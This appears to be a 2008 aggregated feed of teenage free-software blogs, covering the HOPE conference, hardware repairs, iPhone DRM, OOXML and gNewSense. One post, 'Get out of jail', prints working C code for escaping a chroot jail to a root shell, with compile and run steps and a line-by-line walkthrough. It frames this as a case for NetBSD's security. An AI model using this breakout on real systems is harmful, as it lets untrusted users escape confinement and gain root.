2008-07-18T00:06:24+00:00

The Last HOPE, (Hackers On Planet Earth), is a Hacker Conference in New York City at the Hotel Pennsylvania. We just got here (Me, sdubois92, autonomoose) and the first talk is at 1000. ~~We’ll be posting regular updates below throughout the three days (and probably some video).~~ We were having too much fun to post updates, and have other commitments stealing us from the last day of the conference. I might edit some of the footage I took into something though.

Following up.. Podcast and Hardware

2008-07-16T19:46:47+00:00

Well, I’ve said I’d follow up on stuff on here a few times, but never did do. Well, heres time to change that tradition. Firstly, Freedom Socks! This is the new free software podcast I am doing with a friend. I’d love to know what people think of the first episode.

Also, as an update to my last post. The new fan is also being silly. Its slighly larger size means it is catching on the motherboard, so I occasionally have to nudge it a bit, to stop it catching and overheating. *sigh* Why are things always so complicated.

iPod 3G

2008-07-15T17:10:46+00:00

The iPod 3G is out! Yay! If you are thinking about buying this don't. Its ridden with DRM and locks, if you still want to buy one read this . If you want to find out more about the OpenMoko FreeRunner make sure to keep an eye out for the next teenLUG podcast and Kurts blog.

Get out of jail

2008-07-14T18:54:40+00:00

I recently switched my server to NetBSD for a number of reasons. Mainly it was the challenge of having a new system, and the brief experience I had with NetBSD was positive (except screen on x86_64 failed to detect my terminfo properly). Another deciding factor was the heightened security available on most BSD systems, Net‐ and OpenBSD in particular. An example of this is NetBSD’s ability to thwart a number of attack vectors for breaking out of chroot gaols. The most prominent of which still works on Linux.

A chroot is a system call that traps a process in an environment with a “fake” root directory so it can only access part of the filesystem. This is often used when allowing untrusted users access to your system, which makes this method doubly scary.

All that is needed for this to work is the ability to run a process as root inside the chroot (being root inside a chroot is the most common scenario) and the ability to create a directory (a given if you are root in the chroot)

You can then use this little snippet of C code to break out of the gaol:

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main() {
  int curdir = open(".",O_RDONLY);
  mkdir("the-way-out",1);
  chdir("the-way-out");
  chroot(".");
  fchdir(curdir);
  chdir("../../../../../../../../../..");
  chroot(".");
  system("/bin/sh");
  return 0;
}

You can then compile this with cc breakout.c -static -o breakout and move it to your chroot through scp or whatever means you want. Run it, and you will be granted root on the machine without a chroot.

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

This portion is just the necessary libraries for the functions. fnctl.h is for all the file control stuff.

int main() {
  int curdir = open(".",O_RDONLY);
  mkdir("the-way-out",1);
  chdir("the-way-out");
  chroot(".");

This starts the main program function, creates a new directory and chroots to it. You will now be chrooted in /initial/directory/the-way-out. curdir is a file descriptor which is used later on.

  fchdir(curdir);
  chdir("../../../../../../../../../..");

This will chdir out of your second gaol and into your first one. It will then chdir you out of your initial chroot and put you (hopefully) in the real root directory. If you know where you gaol is on the real filesystem you can use the right number of ../ to get to /. The curdir file descriptor is used as ../ won’t work from a straight gaol, it has to be (partly) broken first.

  system("/bin/sh");
  return 0;
}

This will launch the default shell /bin/sh and give you root access to the whole system. Congratulations, now go tell your administrator to switch to NetBSD before someone with malicious intent comes along.

Compter repair

2008-07-12T15:25:08+00:00

Recently my computer broke. It was turning itself off, and after it had done this a few times (with decreasing times between), I realised that the power supply was getting very hot. I could more or less tell that it was the power supply fan that was causing this, but I wasn’t 100% sure about how to go about fixing this.

So, my parents get a guy called Andrew to sort it out. He seems a nice guy - he reinstalled our pc back in the Windows ME days (yes, Windows ME :’( ), and apparently he know runs ubuntu on one of his machines. Anyway, he orders a new fan for us, and then fits it a few days later when it arrives. Now, when I say fit it, it wasn’t as simple as slipping it back where the old one went; the new fan was slightly larger than the old one, so making it fit correctly involved cutting and filing at bits of plastic.

Now, I would like to be able to fix my pc myself, and I would be relatively comfortable replacing a hard drive, RAM, graphics card, cd drives or even the main fan. But the power supply is one of those rally tricky things. It is very specific to the case - not standardised at all. I guess it would be within my range now (having seen the powe rsupply removed and refitted), to fit a whole new power supply, but I wouldn’t have a clue about how to do all the messing about to fit a whole fan.

Well, I’ve been saying I would like to be able to sort out my pcs myself. Partly, this is for the feeling of control over those pesky machines, but more importantly it would save us money. We paid Andrew £40 (which he probably deserved after all that filing) - but, it makes me wonder - should I try and get a job in computing? He did mention that he knows people in London who are getting paid £500 a day for php programming. £500 A DAY FOR PHP!! Surely that must the exception rather than the rule. If not, perhaps I should brush up on my php skills…

Its forth rembmering though, I’m going to be rather picky when its come to computing jobs. I would prefer to use exclusively free software, and most of the time, that is not an option. I certainy would not want to develop propreitary software! Which is why I was thinking Physics would be the best for me, but still, £500 a day!?

iPhonzz 3Gz, SDKzz OMG

2008-07-12T01:42:03+00:00

Finally everything is right with the world because the iPhone now has an SDK, which enables third-parties to develop applications for it. Except Apple prevents any of these third-party applications from using open-source code or being released under an open-source license. As this linux.com article details, the code-signing and NDA compliance Apple requires to run third-party software on the device completely prevents at least GPLv3 licensed code from running on the device, and pretty much kills all other open-sourced licensed software as well. I’m myself am going with the OpenMoko Freerunner instead, I’ve ordered one, and UPS tells me it’ll arrive on Tuesday.

Standards Should be Open

2008-07-11T17:21:44+00:00

Today ISO said that an apeal of the standardization of OOXML, MSs propritary standard for an open office format. Why are people voting for a standard thats not really open OpenOffice has had a truly open standard for much longer, what are we doing?

Why the world is so messed up

2008-07-09T13:21:36+00:00

The world is so messed up because people in the western world have been turned into 'individuals'; by this I do not mean the type of individualism that should be encouraged and celebrated (as a true sign of social equality and acceptance) but of the kind where commercialisation of every corner of our lives has caused people to be concerned about number one, about themselves and no one else.

e-mail

2008-07-07T16:59:15+00:00

Due to my negligance I lost my GPG key and do not have a revoke key, as such I will no longer use the email address zoglesby[at]gmail.com. If you are a family member the email address that Beth and I gave you is still good, if not oglesbyzm[at]gmail.com is now my email address.

Also get my new key on the pgp.mit.edu server (or whatever key server you use when it propigates)

Birthday

2008-07-07T09:12:07+00:00

While I may not have a GNU/Cake like others, today is my birthday, another year of my life has come and gone and it was a big one, I moved to Spain, got married, and got a dog all in a months time. Live is full of changes and I can't wait to see what the next year brings. The first change this year will bring is EMACS, I have decided that its not fair of me to call VIM the best if I have not tried the EMACS. Other then that its going to be a suprise....

Its my GNU/Birthday

2008-07-06T14:57:00+00:00

Well, now I’m 17, w00t. As birthday presents, I had a fsf membership and a nice gnu-friendly hp printer. The printer works out of the box, which is really great, and has really quite nice print quality too. I also got a new mouse (the old one was clicking more than one button at once) and a microphone headset, which I will hopefully be using to record a podcast.

Most of the above isn’t really blog worthy (or at least no more than the stuff I keep on not getting round to blogging), but the thing I really wanted to mention is my cake. Yep, that’s right, my Mum made me a GNU/Cake for my birthday. It really looks like a GNU, (especially the baby gnu that it is modelled after) and is also twice as high as a normal cake (yum yum).

I think GNU/Cake is the natural porgression from the tux cake I had last year. Question is, what will I have next year, a bsd daemon to complete the collection?

Prettifying URLs

2008-07-01T19:45:50+00:00

I am always writing the same bits of code to acheive the same goals, so I decided to make a little object-oriented library to do it for me.

Get it here fophillips.org/prettify.tar.bz2. I will do a write-up explaining it some other time.

Ends or Beginnings?

2008-06-30T19:12:09+00:00

Okay, so we had another ADFA meeting today, although it wasn’t much of a meeting. We’re at a point know where its no point starting any campaigns since the end of the school year is so fast approaching. Annoying thing is, we’ve not really achieved much, other than a few firefox downloads and the early victory of the trial of debian pcs. But, hey, I guess its just a bad time of the year to be starting, and hopefully we can get going again in September with full force, and do something big for Software Freedom Day.

Another big bombshell was to hear that lugradio is going to stop podcasting. omg omg, how can they? those guys are so great and the show isn’t getting old at all (imo). Well, on the upside, lugradio live should be great, and will hopefully kick of a couple of new podcasts, one teenlug are planning and one me and Joe are thinking of doing.

Sooo… watch this space.

G-Nuisance

2008-06-27T19:20:04+00:00

So, yesterday I finally installed gnewsense on my two machines. It was doing some weird stuff, and I didn’t know why, so I was going to write an irate blog post. However, I now know what was going on, but it brings me to the same conclusion - Gnewsense is not a viable alternative for most people.

So, I install it on both of these machines. Well, on one machine ethernet didn’t work, but I had tested it with the livecd and expected this. The wireless card on my other machine also required firmware, but it worked out of the box with gnewsense. Before we all give gnewsense a pat on the back for having hardware support, let my explain what happened when I installed updates - both the wireless and the sound stopped working. A package had been removed, since it contained firmware - now this makes sense, and is the way gnewsense works in order to fuffill its goal, but it means two things:

The gnewsense deltah-h cd I was using contained the non-free software required by my graphics card. Yes, let me say that again the gnewsense cd contains propreitary software.
Regreesions are happening, quite major ones where sound or 3D stops working for many or all people, which is just not something most people will accept, without caring an awful lot about the ethical issues. Not only this, but if someone asks why some of these regreesions happened, you must tell them: sorry, we lied to you - gnewsense wasn’t actually all free software, so we had to remove the bits that weren’t.
Now, I think most of the people who are ready to use gnewsense will understand the technical difficulty in separating out all propreitary software - but for new GNU/Linux users it will just sound highly hypocrytical, and make gnewsense seem even more pointless than they already though it was.

Now, there was something that rms said in his talk at manchester about people being cowards if they don’t use 100% free software. These are words that I’ve thought about a few times - he is calling 99.99% of the population cowards. But, then again, it is in Stallman’s nature to say such things. His point is partially valid, IMHO, but it is more laziness than cowardice.

We should be trying to introduce people to free software by starting off with gnewsense, as someone on irc said - it is a journey. Think about it - fair trade and free range groups concentrate on getting people to buy increasing ammounts of ethical food, rather than saying that people should switch 100% straight away. We need to first show people firefox, then openoffice, then ubuntu, then gnewsense.

So, yes, the message of this blog is that giving out gnewsense cds to windows users will just give them a perception of a technically inadequate and hypocritical system. Far better to give them ubutnu cds, explain its weaknesses to them, and let them realise the need for gnewsense themselves.

Planet teenLUG

Instant Messaging?

AGPLMail

Light Emitting Pumpkin

Mini E

Groovy

Website highlights iPhone inadequacies

R.I.P. LUGRadio

ReCaptcha

Happy Birthday Fedora

Timezones with Procmail

Really?

Teen GNU/Linux Groups Co-Operation

Unintended Consequences

It always takes longer than you expect

boxee

Top-posting

Get out of jail

Prettifying URLs

New Digs

Searching for the Perfect Distro

Theeeming

The Eee Has Landed

Amarok in dzen

EeePC

boxee

Identi.ca

Moved

Git, in here

Specsavers Website Innovation

—–

Related articles…

A Handy Wordpress Plugin

Tidying cables

Distro Search

Breaking Stuff

Today I…

Some useful things to bookmark

Freerunners and Robots

Almost back

Dvorak and Change

Top-posting

Just a few Bits and Bobs

Jokosher

Merge?

No More McDonalds

Revisiting

Frustrations

Beta

The Last HOPE

Following up.. Podcast and Hardware

iPod 3G

Get out of jail

Compter repair

iPhonzz 3Gz, SDKzz OMG

Standards Should be Open

Why the world is so messed up

e-mail

Birthday

Its my GNU/Birthday

Prettifying URLs

Ends or Beginnings?

G-Nuisance